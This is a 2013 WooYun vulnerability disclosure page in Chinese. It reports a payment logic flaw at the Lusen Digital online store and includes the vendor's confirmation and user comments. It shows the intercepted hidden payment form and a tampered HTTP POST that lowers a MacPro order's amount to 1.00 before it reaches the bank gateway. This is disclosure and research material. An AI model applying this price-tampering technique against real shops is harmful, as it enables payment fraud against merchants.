当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-020783

漏洞标题：绿森数码订单支付漏洞，买个MacPro送小胖子

相关厂商：浙江绿森数码科技有限公司

漏洞作者： se55i0n

提交时间：2013-03-28 13:36

修复时间：2013-05-12 13:37

公开时间：2013-05-12 13:37

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：12

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-03-28： 细节已通知厂商并且等待厂商处理中
2013-03-28： 厂商已经确认，细节仅向厂商公开
2013-04-07： 细节向核心白帽子及相关领域专家公开
2013-04-17： 细节向普通白帽子公开
2013-04-27： 细节向实习白帽子公开
2013-05-12： 细节向公众公开

简要描述：

礼物贴! @小胖子 哥写的地址是你勒，注意查收：）

详细说明：

1）选了个最高的电脑，当然舍MacPro其谁；

1.png


2）直接提交订单，在这过程中是木有问题的；

2.png


3）订单生成之后，返回页面查看我们的订单信息，都是没有问题的；

3.png


4）好吧，点击立即付款并抓包，发现居然是一个奇葩的设计呀，look；

<form id="PostForm" action="https://netpay.cmbchina.com/netpayment/BaseHttp.dll?PrePayC1" method="POST">
<input type="hidden" name="BranchID" value="0571">
<input type="hidden" name="CoNo" value="000070">
<input type="hidden" name="BillNo" value="3475645944">
<input type="hidden" name="Amount" value="20466.00">
<input type="hidden" name="Date" value="20130327">
<input type="hidden" name="MerchantUrl" value="http://www.lusen.com/PayMerchantReturn.axd">
</form>
<script language="javascript">
    var vPostForm = document.getElementById('PostForm');vPostForm.submit();
</script>


5）中间环节居然多了个submit提交的form表单，果断将Amount改为“1”，这才到了下面的环节；

POST /netpayment/BaseHttp.dll?PrePayC1 HTTP/1.1
Host: netpay.cmbchina.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.lusen.com/Pay.axd?t=3C3F6B94351AC96FAD2623F44C10A590
Cookie: ...
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 132
BranchID=0571&CoNo=000070&BillNo=3475645944&Amount=1.00&Date=20130327&MerchantUrl=http%3A%2F%2Fwww.lusen.com%2FPayMerchantReturn.axd


6) 素不素，这样MacPro就到手了：D；

5.png


PS：礼物的，有木有？

漏洞证明：

见详细说明

修复方案：

版权声明：转载请注明来源 se55i0n@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2013-03-28 17:19

厂商回复：

谢谢！

最新状态：

暂无

漏洞评价：

评论

  1. 2013-03-28 15:54 | lucky ( 普通白帽子 | Rank:409 漏洞数:81 | 三人行必有我师焉########################...)

    发货没有呀！

  2. 2013-03-28 17:11 | 带馅儿馒头 ( 普通白帽子 | Rank:1278 漏洞数:136 | 心在，梦在)

    @lucky 哈哈，这个问@小胖子..同问

  3. 2013-03-28 17:34 | 陈再胜 ( 普通白帽子 | Rank:121 漏洞数:13 | 微博收收听~~~●﹏●)

    买个给我把···

  4. 2013-03-28 17:55 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:125 | 如果大海能够带走我的矮丑...)

    洞主，我真的哭了，真的，躲在厕所里哭了一天，刚从厕所出来，我爱你，真的。

  5. 2013-03-28 18:15 | se55i0n ( 普通白帽子 | Rank:1567 漏洞数:172 )

    @小胖子 脚麻了没，哈哈！听闻你要婚了！

  6. 2013-03-28 21:13 | zkz ( 普通白帽子 | Rank:136 漏洞数:14 | 人生充满悲剧，淡定才是真理)

    以后绿森的洞大家就自己留着吧！没有意义为这样的厂商提交！

  7. 2013-04-03 17:32 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:170 | 力不从心)

    @小胖子 太给力了

  8. 2013-04-28 15:10 | Aofa ( 路人 | Rank:0 漏洞数:1 | check it out yo)

    @小胖子 洞主啊。你就不能等我买一个在那啥啊

  9. 2013-05-12 18:35 | z7y ( 实习白帽子 | Rank:57 漏洞数:9 | 关注技术与网络安全)

    @小胖子 哈哈哈哈,你要被送人了！

  10. 2013-08-14 13:08 | 78基佬 ( 实习白帽子 | Rank:84 漏洞数:20 | 不会日站的设计师不是好产品经理)

    @xsser 这个她没有证明可完成订单吧